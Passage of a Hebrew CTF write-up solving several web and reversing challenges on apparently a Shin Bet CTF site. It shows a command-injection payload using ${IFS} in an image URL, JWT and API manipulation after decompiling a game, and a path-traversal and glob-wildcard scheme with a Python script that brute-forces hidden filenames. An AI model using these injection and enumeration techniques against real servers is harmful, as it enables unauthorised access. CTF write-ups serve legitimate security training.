 . ננסה להריץ:ls secret. נראה מעניין! נבדוק איזה קבצים יש שם על ידי secretהופה, יש תיקיית 

 http;ls secret;.gif 

 ונקבל שגיאה:

 

. משתנה IFSלכן ניעזר בחבר שלנו, המשתנה  אוקי... כנראה שאי אפשר לשים רווחים בקישור לתמונה.

 כרווח, מה שיכול להחליף את הרווחים בפקודה. ננסה שוב עם המשתנה:זה מאותחל כברירת מחדל 

http;ls${IFS}secret;.gif 

  ונקבל:

 

 . נציג אותו:flagמצויין! מצאנו קובץ 

http;cat${IFS}secret/flag;.gif 

 

 :flag-וקיבלנו את ה

 

flag{DIS-IS-FLAG-I-R-VERY-H4X0R-U-2?} 
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 נקודותPuzzle (322 ) - #2אתגר 

 

 קבצים: 5עם  zipבאתגר זה קיבלנו קובץ 
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 :exeנתחיל מלהריץ את הקובץ 

 

זה נראה כמו משחק, עם מוזיקה מגניבה. אנחנו מקבלים שגיאה שהשם משתמש או הסיסמה לא נכונים, 

פשוט סוגרת את המשחק. נראה שבשלב זה אנחנו לא יכולים להגיע למשחק. בואו  OKכאשר לחיצה על 

מצויין )ישנם נוספים, אבל  .Decompiler NETשהוא  ILspy-נבין מה קורה פה מאחורי הקלעים, נשתמש ב

ונסתכל על  exeל מדינת ישראל(. נפתח את הקובץ ים שמשתמשים באותיות ש-Decompilerעדיף לכבד 

 המחלקות שקיימות:

 

 :Constructor-. נסתכל על הMainWindow-נתחיל קודם מ

https://github.com/icsharpcode/ILSpy
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חדש )עדיין לא בדקנו מה זה, אבל אפשר להבין מהשם(, לאחר  APIClientנראה שבתחילת המשחק, נוצר 

ואז מופעלת המוזיקה המגניבה )ללא  ValidateCredentialsמכן נבדקים שם משתמש וסיסמה בפונקציה 

 :ValidateCredentialsנסתכל על הפונקציה  .(ספק השלב החשוב ביותר

 

, לכן הגיע הזמן לעבור APIClient-נראה שהלוגיקה של ואלידציית השם משתמש והסיסמה נמצאת ב

 להסתכל עליה:
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. אציג API :puzzle.shieldchallenges.com-ו נמצא ה( שבWEBמצאנו כתובת לאתר )זה בכל זאת אתגר 

 :APIClient-את הפונקציות החשובות מתוך ה

 

 API-. כעת, נאסוף את כל הSecretPassw0rd""" וסיסמה Test_Userנשים לב שמצאנו בקוד שם משתמש "

 שיש לנו בקוד:

1. /api/credentials 

2. /api/puzzle 

3. /api/token 

4. /api/puzzle/{puzzleID} 

)נסביר  PATCHשהיא בקשת  4-חוץ מ GET,לפי שמות הפונקציות, אפשר לראות שכל הבקשות הן בקשות 

 ונקבל: api/credentials/-ים. נתחיל מהראשון, ניגש ל-API-עליה בהמשך(. ננסה לפנות לכל אחד מה

{ 

    "username": null, 

    "password": null, 

    "Error": "Deprecated API" 

} 
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 nullהפקודה הזאת כבר לא בשימוש ותמיד מחזירה  -זאת הסיבה שלא הצלחנו מקודם להיכנס למשחק

נתפוס את הבקשה של  burpבשם משתמש והסיסמה. ננסה בכל זאת להיכנס למשחק, באמצעות 

 :API-המשחק ל

 

 

 השרת:נעביר את הבקשה ונתפוס את התשובה מ

 

 

 נשנה את התשובה של השרת לשם משתמש והסיסמה הנכונים:

{ 

    "username": "Test_User", 

    "password": "SecretPassw0rd" 

} 

 

 

  

https://portswigger.net/burp
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 ונעביר את הבקשה למשחק:

 

מעולה! התחברנו למשחק. כעת, נראה את הרשימה של הפאזלים. נשים לב שהפאזלים הם 'שחור ופתור' 

(nonogramשום .) על כל כפתור תקפיץ את ההודעה הבאה: דבר לא ממומש במשחק עצמו, וכל לחיצה 

 

, תוכנה נוחה Postman-כל הכבוד לשב"כ שמורידים באגים בפרודקשיין! בצחוק, נמשיך הלאה. נשתמש ב

 י להקל על התהליך.. מעכשיו נשלח בקשות דרכה כדAPIמאוד לשליחת בקשות ויצירת 

  

https://www.postman.com/
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 , נקבל:api/puzzle/השני  API-נשלח בקשה ל

{ 

    "puzzles": [ 

        { 

            "id": 0, 

            "name": "SpaceInvaders", 

            "rows": "1 1,1 1,7,2 3 2,11,1 7 1,1 1 1 1,2 2,0", 

            "columns": "3,2,1 5,2 2 1,4 1,4,4 1,2 2 1,1 5,2,3" 

        }, 

        { 

            "id": 1, 

            "name": "X", 

            "rows": "1 1,1,1 1", 

            "columns": "1 1,1,1 1" 

        }, 

        { 

            "id": 2, 

            "name": "1337", 

            "rows": "1 3 3 3,1 1 1 1,1 3 3 1,1 1 1 1,1 3 3 1", 

            "columns": "5,0,1 1 1,1 1 1,5,0,1 1 1,1 1 1,5,0,1,1 2,3" 

        }, 

        { 

            "id": 3, 

            "name": "TopSecret", 

            "rows": "7,12,3 2 2 4,4 2 2 2,2 2 2 2 2,3 2 2 2 2,4 2 2 2 2,4 2 2 2 2,1 2 2 2 

2 2,2 2 2 2 2 2,2 2 2 2 2 2,4 2 2 2 2,3 2 2 2 2,2 2 2 2 2,2 4 2 2 2,5 2 2 2,3 2 2 2, 2 3 2

 2,7 2 2,4 3 2,2 3 2,2 4 3,4 3,13,9", 

            "columns": "8,13,3 2 5,8 2 3,8 2 4,2 2 2 2,13 2 2,12 2 3,1 2 4,17 2 2,16 3 2,2

 2 2,2 3 2,19 2,17 2,2 2,2 2,2 2,2 2,2 2,2 2,2 3,3 3,13,9" 

        }, 

        { 

            "id": 4, 

            "name": "StarOfDavid", 

            "rows": "1,3,2 2,13,1 2 2 1,2 2,2 2,2 2,2 2,1 2 2 1,13,2 2,3,1", 

            "columns": "1 1,2 2,1 4 1,8,3 3,3 3,2 1 1 2,3 3,3 3,8,1 4 1,2 2,1 1" 

        }, 

        { 

            "id": 5, 

            "name": "QR", 

            "rows": "7 2 1 7,1 1 1 1 1 1,1 3 1 1 1 1 1 3 1,1 3 1 1 2 1 3 1,1 3 1 3 1 3 1,1

 1 1 1,7 1 1 1 7,2,4 1 1 1 1 3 1,1 2 1 1 1 1 3,1 1 2 1 1 5 3,2 3 2 1,2 1 2 1 2 1 1 1 1,1 1

 1 1 1 1,7 2 1 2,1 1 6 1 1,1 3 1 2 1 1 1,1 3 1 1 1 1 1,1 3 1 1 1 3,1 1 5 1 2 2,7 2 2 1 1 1

", 

            "columns": "7 1 1 1 7,1 1 1 1 1 1,1 3 1 2 1 3 1,1 3 1 1 1 1 1 3 1,1 3 1 1 1 1 

3 1,1 1 4 1 1,7 1 1 1 7,1 1,1 3 1 1 4 4,2 1 1 1 1 2,1 1 5 2 2 1,1 1 2 3,4 1 3 1 2,1 6 1,7 

1 3 1,1 1 2 1 1,1 3 1 1 1 1 1 3,1 3 1 2 2 3,1 3 1 3 3 1,1 1 3 2 1 2,7 1 1 2 1 1 " 

        } 

    ] 

} 

 

עם השם משתמש, הסיסמה  api/token/-השלישי, נשלח בקשה ל API-קיבלנו את כל הפאזלים. נעבור ל

 :SpaceInvaders, שהוא 2ומספר פאזל. נשתמש לדוגמה בפאזל מספר 

{ 

    "token": "eyJhbGciOiJIUzUxMiIsImlhdCI6MTYxMTYxMjI4NSwiZXhwIjoxNjExNj

EyMzQ1fQ.eyJwdXp6bGVfaWQiOjAsInN0YXRlIjoiLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4

uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4

uLi4uLi4uLi4uLi4uLi4uLi4uLi4uIiwiY3Vyc29yIjo3NH0.AFniFWmgON6T5qTQYrMpyqv

rJDpDsU0XuzrHPKNwIj8KHv1JgajM4a4b0Yni7MKcoOGRNf_a8Ca72evCdiuX2w", 

    "duration": 60 

} 

 

 .Tokenקיבלנו 
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, Token-אחר. כרגע עוד לא ידוע מה אפשר לעשות עם ה Tokenנראה שעבור כל בקשה אנחנו מקבלים 

-ל PATCHשעדיין לא בדקנו. נשלח בקשה מסוג  API-אבל צריך לזכור שיש עוד פונקציה אחת ב

/api/puzzle/0:נקבל כתשובה . 

{ 

    "message": "Invalid token" 

} 

 

כאמצעי אבטחה, ננסה להוסיף  Token. בדרך כלל שולחים Token-עכשיו אנחנו מבינים מה לעשות עם ה

 ונקבל: Authorization-כ Header-ב Token-את ה

{ 

    "message": { 

        "instructions": "Missing required parameter 'instructions

' in the JSON body" 

    } 

} 

 

בבקשה שלנו. ננסה לשלוח  instructionsקיבלנו תשובה שונה. נראה שאנחנו צריכים לשלוח פרמטר 

instructions ' עם התוכןa'  :ונקבל 

{ 

    "message": "Instructions must be 3 bytes long" 

} 

 

 ', נקבל:qwertyים. ננסה לשלוח '-byte 3כנראה שצריך לשלוח 

{ 

    "message": "Invalid hex encoding" 

} 

 

 :Token' והפעם נקבל תשובה תקינה עם עוד abcdef' נשלח אוקיי, אז התוכן צריך להיות בהקסדצימלי.

{ 

    "token": "eyJhbGciOiJIUzUxMiIsImlhdCI6MTYxMTYxMzE2OCwiZXhwIjo

xNjExNjEzMTc4fQ.eyJwdXp6bGVfaWQiOjAsInN0YXRlIjoiLi4uLi4uLi4uLi4uL

i4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi

4uLi4uLi4uLi4uLi5YWC4uLi4uLi4uLlguLi4uLi4uLi4uLi4uIiwiY3Vyc29yIjo

4NX0.HCfwFOtU9iuk84kbFgo7ZMnz_DsN6gkPo8dZlJngY5_GNMk5BYjETuUUAhF8

hbWHNc7ByrZ_M3wJ9babB01gzg" 

} 
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הזה, ממבט ראשון  Token-, כנראה שזה לא רק אמצעי אימות... ננסה לפענח את הTokenאם קיבלנו שוב 

 :decode, ננסה לראות מה מקבלים אחרי Base64זה מאוד מזכיר 

 

. לאחר חיפוש HS512. כנראה שמדובר באלגוריתם decode :{“alg”: “HS512”}-נשים לב להתחלה של ה

 .JWT-קצר באינטרנט נגלה שמדובר ב

( הוא דרך קומפקטית להעברה מאובטחת של מידע Json Web Token) JWTהסבר קצר: 

 חלקים: 3יש  JWT-. לjsonבאובייקט 

 מכילה את סוג פונקציית הגיבוב בשימוש בחתימה -( header. כותרת )2

 IAT (Issued At)מכיל את המידע עצמו, בדרך כלל עם חותמת זמן  -( payload. תוכן )0

מכיל את החתימה שחושבה על ידי הפונקציית גיבוב על הכותרת  -( signature. חתימה )3

 והתוכן.

 :שקיבלנו בהתחלה Token-כדי לבדוק מה תוכן ה io.jwtנשתמש באתר 

 

. נשים לב state. נסתכל על cursor-ו puzzle_id ,state -פרמטרים  3( ונראה שיש payloadנסתכל בתוכן )

 ליתר דיוק. 99שיש המון נקודות, 

https://jwt.io/
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ריבועים )צירוף  99יש  SpaceInvadersניזכר שבתחילת האתגר כשניכנסו למשחק קיבלנו שבפאזל של 

כנראה  cursor-לא נראלי!(. כפי שהשם של הפרמטר מרמז, מדובר במצב הנוכחי של הפאזל. ה ?מקרים

 מציין את המיקום הנוכחי בתוך הפאזל.

עושה. נראה שאנחנו עומדים לבצע המון בדיקות וכמובן שלא עושים פעולה  instructions-נבדוק מה ה

 pythonשיעשה את כל הבקשות בשבילי. נכתוב קוד  pythonים, לכן הגיע הזמן לכתוב קוד ידנית פעמי

-. ולאחר כל בקשה, משנה את הauthorization-כ header-ראשוני, אחר כך שם אותו ב Tokenשמבקש 

Token ל-Token  החדש שקיבלנו עםinstructions  לבחירתי. נתחיל מהקוד שמבקשToken :ראשוני 

import requests 

import jwt 

 

def get_token(puzzle_id): 

    creds = { 

        'username': 'Test_User', 

        'password': 'SecretPassw0rd', 

        'puzzle_id': puzzle_id 

    } 

    return requests.get('http://puzzle.shieldchallenges.com/api/token', 

                        json=creds).json()['token'] 

 

 :JWT-כדי לקבל את התוכן של ה pyjwtנשתמש במודול 

def extract_payload(token): 

    token = jwt.decode(token, 

                       algorithms=['HS512'], 

                       options={'verify_signature': False}) 

    return token 

 של הבקשה: Header-ב Token-עם ה PATCHלאחר מכן נכתוב קוד ששולח בקשת 

def send_instruction(puzzle_id, instruction, token): 

    head = {'Authorization': f'Bearer {token}'} 

    body = {'instructions': instruction} 

    request = requests.patch( 

        f'http://puzzle.shieldchallenges.com/api/puzzle/{puzzle_id}', 

        headers=head, 

        json=body).json() 

    return request 

 כל העדכונים שעשינו בפאזל:, ומחזיר רשימה של instructionsכעת, נכתוב קוד שמריץ רשימה של 

def send_instructions(puzzle_id, instructions): 

    token = get_token(puzzle_id) 

    tokens = [] 

    for instruction in instructions: 

        request = send_instruction(puzzle_id, instruction, token) 

        if ('token' not in request): 

            print(request) 

        else: 

            token = request['token'] 

        tokens.append(extract_payload(token)) 

    return tokens 

https://pyjwt.readthedocs.io/
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 את הטקסט instructionsננסה להכניס בתור  עושה. instructions-עכשיו נוכל לבדוק בקלות מה ה

 פעמים: 5במשך  000001

print(send_instructions(0, ['000001'] * 5)) 

 ונקבל:

[{'puzzle_id': 0, 'state :'

................................................................'

 ,'................................... 

'cursor': 54}, {'puzzle_id': 0, 'state': 

'................................................................

...................................', 'cursor': 44}, 

{'puzzle_id': 0, 'state': 

'................................................................

...................................', 'cursor': 45}, 

{'puzzle_id': 0, 'state': 

'................................................................

...................................', 'cursor': 46}, 

{'puzzle_id': 0, 'state': 

'................................................................

...................................', 'cursor': 47}] 

נראה שאם הוא זז ימינה מסוף השורה, הוא חוזר לתחילת השורה.  .2-גדל כל פעם ב cursor-נראה שה

 :222220(. ננסה 22-קטן ב cursor-)ה

print(send_instructions(0, ['000002'] * 5)) 

 ונקבל:

[{'puzzle_id': 0, 'state :'

.......................................................................'

 ,'............................ 

'cursor': 35}, {'puzzle_id': 0, 'state': 

'.......................................................................

............................', 'cursor': 24}, {'puzzle_id': 0, 'state': 

'.......................................................................

............................', 'cursor': 13}, {'puzzle_id': 0, 'state': 

'.......................................................................

............................', 'cursor': 2}, {'puzzle_id': 0, 'state': 

'.......................................................................

............................', 'cursor': 90}] 

נקודות בשורה,  22ם שורות ע 9. אנחנו זוכרים שהגודל של הפאזל הנוכחי הוא 22-קטן ב cursor-פה ה

 (. דוגמא של הפזאל:98-ל 2-זה בעצם עליית שורה )כאשר הפאזל ממוספר מ 22-כלומר הקטנה ב

[[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10],  

[11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21],  

[22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32],  

[33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43],  

[44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54],  

[55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65],  

[66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76],  

[77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87],  

[88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98]] 
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 נמשיך כך עד שנבין את משמעות כל הפקודות, אציג את הפקודות החשובות לפתרון התרגיל:

 222222 - הזזה ימינה של ה-cursor (מגדיל את ה-cursor במידה וחרגנו מסוף 2-ב ,)נחזור השורה ,

 לתחילתה

 222223 - את ה מעדכן-cursor 2-ל 

 222225 - הורדה למטה בשורה של ה-cursor ( המגדיל את-cursor 22-ב )עבור הפאזל הנוכחי ,

 לתחילתה, נחזור העמודהבמידה וחרגנו מסוף 

 222227 -  שםX ב-state  של ההנוכחי במקום-cursor 

. api/token/רנדומלי בעזרת  cursor-ריק ו stateעם  Tokenנסכם בקצרה את המהלך: אנחנו מקבלים 

-( עם הHTTP-הינה בקשת עדכון מצב ב PATCH)בקשת  PATCHלאחר מכן אנחנו יכולים לשלוח בקשת 

Token הנוכחי ו-instructions לאחר מכן אנחנו מקבלים .Token חדש עם ה-state וה-cursor  .המעודכנים

כנראה שהמטרה היא לפתור את הפאזלים על ידי ההוראות. כמובן שלא נפתור את הפאזלים ביד, 

 נשתמש בתוכנה כדי לפתור בשבילנו 

)קוד שפותר פאזלים של 'שחור  solver-nonogramבאמצעות  /puzzle/api-הפאזלים שקיבלנו בנפתור את 

 :TopSecret ופתור'(. אני לא אציג את כל פתרונות הפאזלים, רק את החשובים.

.........XXXXXXX......... 

.......XXXXXXXXXXXX...... 

.....XXX.XX..XX.XXXX..... 

....XXXX.XX..XX....XX.... 

...XX.XX.XX..XX.....XX... 

..XXX.XX.XX..XX......XX.. 

.XXXX.XX.XX..XX.......XX. 

.XXXX.XX.XX..XX.......XX. 

.X.XX.XX.XX..XX........XX 

XX.XX.XX.XX..XX........XX 

XX.XX.XX.XX..XX........XX 

XXXX..XX.XX..XX........XX 

XXX...XX.XX..XX........XX 

XX...XX..XX..XX........XX 

XX.XXXX..XX..XX........XX 

XXXXX....XX..XX........XX 

XXX.....XX...XX........XX 

.XX...XXX...XX........XX. 

.XXXXXXX....XX........XX. 

..XXXX....XXX........XX.. 

...XX....XXX........XX... 

....XX.XXXX........XXX... 

.....XXXX........XXX..... 

......XXXXXXXXXXXXX...... 

........XXXXXXXXX........ 

  

https://github.com/fmakdemir/nonogram-solver
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QR: 

XXXXXXX.XX..X.XXXXXXX 

X.....X..X..X.X.....X 

X.XXX.X.X.X.X.X.XXX.X 

X.XXX.X.X..XX.X.XXX.X 

X.XXX.X.XXX...X.XXX.X 

X.....X.......X.....X 

XXXXXXX.X.X.X.XXXXXXX 

.........XX.......... 

XXXX..X.X.X..X..XXX.X 

..X.XX.X..X.X..X.XXX. 

X..X.XX.X.X.XXXXX.XXX 

....XX.XXX..XX.....X. 

XX.X.XX.X.XX.X..X.X.X 

........X.X..X.X..X.X 

XXXXXXX......XX.X.XX. 

X.....X..XXXXXX..X.X. 

X.XXX.X...XX..X..X..X 

X.XXX.X.X....X..X..X. 

X.XXX.X.X..X....XXX.. 

X.....X.XXXXX.X.XX.XX 

XXXXXXX.XX.XX..X.X.X. 

SpaceInvaders: 

..X.....X.. 

...X...X... 

..XXXXXXX.. 

.XX.XXX.XX. 

XXXXXXXXXXX 

X.XXXXXXX.X 

X.X.....X.X 

...XX.XX... 

........... 

 אולי מכיל מידע חשוב. QR-נשים לב שה
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 :QR-אחר שמציג לנו פתרון יותר גרפי כדי שנוכל לסרוק איתו את ה solver-nonogram-נשתמש ב

 

 ?קוד סודי ?"(. מדובר ברמזLeet)" 2337ונקבל כטקסט את המספר  QR-נראה יותר טוב, נסרוק את ה

פחות, כנראה שסתם הטעייה. נכתוב כעת קוד שלוקח את הפתרונות שלנו לפאזלים והופכת אותם 

. נכתוב פונקציה שהופכת את הפתרון שלנו לרשימה של API-להוראות שצריך לשלוח לשרת דרך ה

 :Xאינדקסים שבהם צריך לשים 

def get_x_indexes(puzzle_soultion): 

    index = 0 

    x_indexes = [] 

    rows = puzzle_soultion.split("\n")[1:-1] 

    for row in rows: 

        for character in row: 

            if ('X' == character): 

                x_indexes.append(index) 

            index += 1 

    return x_indexes 

-נאפס את ה -בעזרת האלגוריתם הבא API-האינדקסים להוראות לופונקציה שהופכת את הרשימה של 

cursor .ונתקדם שורה שורה 

  

https://github.com/ThomasR/nonogram-solver
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 ונמשיך: X, נשים Xכל פעם שנגיע לאינדקס שצריך לשים בו 

MOVE_RIGHT = '000001' 

RESET_CURSOR = '000003' 

MOVE_LINE_DOWN = '000005' 

SET_X = '000007' 

 

def get_instructions(x_indexes, width, height): 

    instructions = [RESET_CURSOR] 

    for row_index in range(height): 

        for column_index in range(width): 

            index = (row_index * width) + column_index 

            if (index in x_indexes): 

                instructions.append(SET_X) 

            instructions.append(MOVE_RIGHT) 

        instructions.append(MOVE_LINE_DOWN) 

    return instructions 

 ונריץ: SpaceInvaders-כעת נכתוב קוד שמותאם ל

space_invaders = ''' 

..X.....X.. 

...X...X... 

..XXXXXXX.. 

.XX.XXX.XX. 

XXXXXXXXXXX 

X.XXXXXXX.X 

X.X.....X.X 

...XX.XX... 

........... 

''' 

 

selected_puzzle = 0 

width, height = 11, 9 

 

x_indexes = get_x_indexes(space_invaders) 

instructions = get_instructions(x_indexes, width, height) 

send_instructions(selected_puzzle, instructions) 

 נקבל מהשרת:

{'flag': 'Try_Harder', 'solution': 

'..X.....X.....X...X.....XXXXXXX...XX.XXX.XX.XXXXXXXXXXXX.XXXXXXX

.XX.X.....X.X...XX.XX..............'} 

, אחרי שפותרים פאזל מקבלים דגל! כעת, נפתור את הפאזלים האחרים באותה הדרך. לא צריך מצויין

 .topSecretבאמת לפתור את כולם, נפתור את הפאזל הכי "חשוד", שהוא כמובן 
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 נשתמש בקוד הבא:

top_secret = ''' 

.........XXXXXXX......... 

.......XXXXXXXXXXXX...... 

.....XXX.XX..XX.XXXX..... 

....XXXX.XX..XX....XX.... 

...XX.XX.XX..XX.....XX... 

..XXX.XX.XX..XX......XX.. 

.XXXX.XX.XX..XX.......XX. 

.XXXX.XX.XX..XX.......XX. 

.X.XX.XX.XX..XX........XX 

XX.XX.XX.XX..XX........XX 

XX.XX.XX.XX..XX........XX 

XXXX..XX.XX..XX........XX 

XXX...XX.XX..XX........XX 

XX...XX..XX..XX........XX 

XX.XXXX..XX..XX........XX 

XXXXX....XX..XX........XX 

XXX.....XX...XX........XX 

.XX...XXX...XX........XX. 

.XXXXXXX....XX........XX. 

..XXXX....XXX........XX.. 

...XX....XXX........XX... 

....XX.XXXX........XXX... 

.....XXXX........XXX..... 

......XXXXXXXXXXXXX...... 

........XXXXXXXXX........ 

''' 

 

selected_puzzle = 3 

width, height = 25, 25 

 

x_indexes = get_x_indexes(top_secret) 

instructions = get_instructions(x_indexes, width, height) 

send_instructions(selected_puzzle, instructions) 

 ונקבל את התשובה:

{'flag': 'FLAG{S01ving_Puzz13s_Is_Fun!}', 'solution': 

'.........XXXXXXX................XXXXXXXXXXXX...........XXX.XX..X

X.XXXX.........XXXX.XX..XX....XX.......XX.XX.XX..XX.....XX.....XX

X.XX.XX..XX......XX...XXXX.XX.XX..XX.......XX..XXXX.XX.XX..XX....

...XX..X.XX.XX.XX..XX........XXXX.XX.XX.XX..XX........XXXX.XX.XX.

XX..XX........XXXXXX..XX.XX..XX........XXXXX...XX.XX..XX........X

XXX...XX..XX..XX........XXXX.XXXX..XX..XX........XXXXXXX....XX..X

X........XXXXX.....XX...XX........XX.XX...XXX...XX........XX..XXX

XXXX....XX........XX...XXXX....XXX........XX.....XX....XXX.......

.XX.......XX.XXXX........XXX........XXXX........XXX...........XXX

XXXXXXXXXX..............XXXXXXXXX........'} 

 עם הדגל:

FLAG{S01ving_Puzz13s_Is_Fun!} 
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 נקודותArt Gallery (322 ) - #3אתגר 

 

 ניכנס לקישור ונקבל את הדף הבא:

 

דפים מרכזיים: דף הבית )גלריית התמונות(, עמוד המאפשר העלאת פוסטים  3נסתכל באתר, נראה שיש 

 ודף של המחבר.
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 קודם ניכנס לדף של העלאת הפוסטים: .php-נשים לב שהאתר כתוב ב

 

המאפשר  webshellעמוד שמאפשר להעלות קבצים הוא תמיד מעניין, הרבה פעמים ניתן להעלות קובץ 

 WEB-פתרון אתגרי ההרצת פקודות על השרת. ננסה למלא סתם פרטים ונשלח )לדוגמא, שם המאמר: "

 . נקבל:מאת עידו פרנקנטל" או משהו בסגנון( 0202של השב"כ 

 

שאין כלום, אז לפעמים באמת אין כלום )בכל מקרה נשאיר את הדף אם כתוב  CTFבדרך כלל באתגרי 

 הזה כאופציה להמשך(. נמשיך לדף של המחבר:

 

גם פה אין משהו מעניין, נחזור לדף הראשי. בסריקה זריזה בדף הבית, נראה שהאלמנט היחיד שאפשר 

 לעשות איתו משהו הוא החיפוש. 
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 התמונה הבאה:, ונקבל את bubblesננסה לחפש משהו, למשל 

 

 כדי לראות מה יקרה: abcdננסה להכניס סתם טקסט כמו 

 

קיבלנו הודעה שלא נמצאו תמונות התואמות את החיפוש שלנו. נשים לב שהחיפוש הוא בצד שרת, על ידי 

 בקשה מהצורה: )באדום זה תוכן החיפוש(

art.shieldchallenges.com/?search=abcd 

. File Traversalהדבר הראשון שעולה לי לראש כשמגיעים לחיפוש )במיוחד כשהחיפוש הוא בצד שרת( זה 

כלומר, ננסה "לברוח" מהתיקייה בה אנחנו נמצאים כדי לחפש ולהציג קבצים נוספים )למשל קבצים 

 (.flagשכותב האתר לא התכוון שנצליח להציג, לדוגמא קובץ 
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 מהתיקיה: כדי לברוח /..ננסה להכניס 

 

זה עבד! כרגע עוד לא מובן מה בדיוק קרה, ניתן לראות שקיבלנו כמה תמונות פעמיים. ננסה לברוח עוד 

 , נקבל:/../..תיקייה אחת אחורה על ידי 

 

 של הדף שקיבלנו נמצא: source code-מוזר... הפעם קיבלנו דף ריק. אם נבדוק את ה
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(, אך אף תמונה לא צורפה HTML-תמונות )לפי ההערות בנראה שתוכן הדף אמור להכיל רשימה של 

וננסה את הרעיון השני שעלה לי: בדומה  File Traversalבאמת לדף. ננסה לעזוב כרגע את הרעיון של 

 (%22את התו  search: )נשלח בכתובת בפרמטר Null Byteלאתגר הראשון, אולי ננסה להכניס 

 

שמפרטות לנו בדיוק איזה פקודות רצות בפונקציה של החיפוש. ניחוש שלי,  Warningsמדהים, קיבלנו 

מסננת רק  array_filterמציגה את כל הקבצים לפי המחרוזת שמחפשים, פקודת  globכנראה שהפקודה 

עוברת ומציגה את הקבצים )שוב, ניחוש מושכל שלי(.  foreachאת התמונות מבין כל הקבצים ופקודת 

 .wildcards-יש תמיכה ב globפקודות גיליתי שבפקודה ממחקר קצר על ה

זה אות )בדרך כלל *( אשר מייצגת אפס או יותר תווים.  Wildcard characterקצר:  הסבר

מציג את  *f לדוגמההמטרה של האות היא להחליף את השימוש בשם המלא של המחרוזת. 

. )קיים jpgמציג את כל הקבצים שהסיומת שלהם היא  jpg.*, או f-כל הקבצים שמתחילים ב

 עבור אות בודדת( Wildcard-בנוסף הסימן ? אשר יכול לשמש כ

 שמכילה את כל התמונות: filesשל הדף, נראה שקיימת תיקייה בשם  sources-אם נסתכל ב
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מת מוצאים את כל . כדי לוודא זאת, נחפש * ונראה שבאfilesנוכל להסיק שהחיפוש נעשה בתוך תיקיית 

 php.התמונות בתיקייה. ננסה לחזור אחורה בתיקייה ולהציג את כל הקבצים שהסיומת שלהם היא 

 בעזרת:

art.shieldchallenges.com/?search=../*.php 

 נראה: source code-שוב לא קיבלנו כלום, אבל אם נסתכל על ה

 

מייצגת קובץ אחד  show imageנשים לב שמספר ההערות שונה מהפעם הקודמת, כנראה כל הערת 

. מהגלישה באתר אנחנו יודעים phpקבצי  5שקיים בתיקייה אשר מקיים את תנאי החיפוש, במקרה הזה 

, כדי לוודא את ההשערה שלנו נרצה למצוא index.php ,author.php ,post.phpעל הקבצים הבאים: 

 ונקווה שנמצא: Gobusterבתיקייה, לצורך כך נריץ  phpקבצי  0דיוק עוד ב

 

https://github.com/OJ/gobuster
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בתיקייה, כלומר מצאנו שיטה לספירת קבצים בשרת, פשוט נחפש שם או  phpקבצי  5אכן קיבלנו שיש 

קבלים נדע כמה קבצים קיימים שמ HTML-, ולפי מספר ההערות בwildcardsסיומת של קובץ עם 

התואמים את החיפוש. דבר ראשון, ננסה לחפש סיומות מוכרות של קבצים כדי לבדוק איזה קבצים קיימים 

 . אם לא נמצא כלום, ננסה לחזור תיקיה אחורה.files-ב

 נכתוב כמובן קוד שיעשה זאת בשבילנו:

import requests 

extensions = open('raft-small-

extensions.txt').read().splitlines() 

for extension in extensions: 

    request = requests.get( 

        f'http://art.shieldchallenges.com/?search=*{extension}') 

    if ('No images found' not in request.text): 

        print(extension, request.text.count('<!-- show image -->')) 

 של סיומות מוכרות. נריץ ונקבל: wordlist-נשים לב שהשתמשנו ב

.txt 1 

.jpg 12 

.html, 4 

.php, 4 

.t 1 

.jp 12 

.aspx, 4 

.com, 4 

.htm, 4 

.j 12 

יש סיכוי שזה הדגל! בואו נבין בדיוק באיזה תת  txt.רוב הסיומות נראות סטנדרטיות לדף אינטרנט, למעט 

 תת תיקיות, נחפש בהם: 4הוא נמצא. יש  filesתיקייה של 

 http://art.shieldchallenges.com/?search=Fabio/*.txt 

 

 (. ננסה תיקיה אחרת:Fabio)כלומר, הקובץ לא בתיקייה  No images foundונקבל 

 http://art.shieldchallenges.com/?search=Habier/*.txt 

 

נמצא בתיקיה הזאת. אנחנו רוצים לגלות מה שם הקובץ  txtהפעם לא קיבלנו את השגיאה, כלומר הקובץ 

ת צעד אחד קדימה: ניקח את כדי להציג אותו, לצורך כך ניקח את השיטה שלנו לספירת קבצים בשר

 No images foundוננסה להוסיף לה כל פעם אות אחת נוספת בתחילת החיפוש, אם נקבל  txt.*התבנית 

 נדע שזאת לא אות נכונה, ואם לא תחזור ההודעה נדע שצדקנו באות ונמשיך לאות הבאה.

  

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-small-extensions.txt
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 להלן הקוד:

import requests 

import string 

import urllib 

 

IGNORED_URL_CHARS = '*?' 

BASE_URL = 'http://art.shieldchallenges.com' 

 

filename = "" 

while (True): 

    is_char_found = False 

    for char in string.printable: 

        if (char in IGNORED_URL_CHARS): 

            continue 

        current_filename = filename + char 

        # Encode URL 

        encoded_filename = urllib.parse.quote_plus(current_filename) 

        url = f'{BASE_URL}/?search=Habier/{encoded_filename}*.txt' 

        print(url) 

 

        request = requests.get(url) 

        if ('No images found' not in request.text): 

            filename = current_filename 

            is_char_found = True 

            break 

 

    # If no new character was added, we found the filename 

    if (not is_char_found): 

        print(f'{filename}.txt') 

        break 

שמסמלים  ?-ולהימנע מלשים * ו special charactersלמקרה שיש  url-ל encodeנזכור שצריך לעשות 

Wildcard Character:נריץ ונקבל . 

Habier&Valery4ever_#WEBISFUN.txt 

 (:special characters-ל encoding! נגלוש לקובץ בדפדפן: )כמובן עם WEB IS FUN-מסכים לגמרי ש

art.shieldchallenges.com/files/Habier/Habier%26Valery4ever_%23WEB

ISFUN.txt 

 ונקבל את הדגל:

FLAG{You-R-Gl0bMast3R} 
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 סיכום

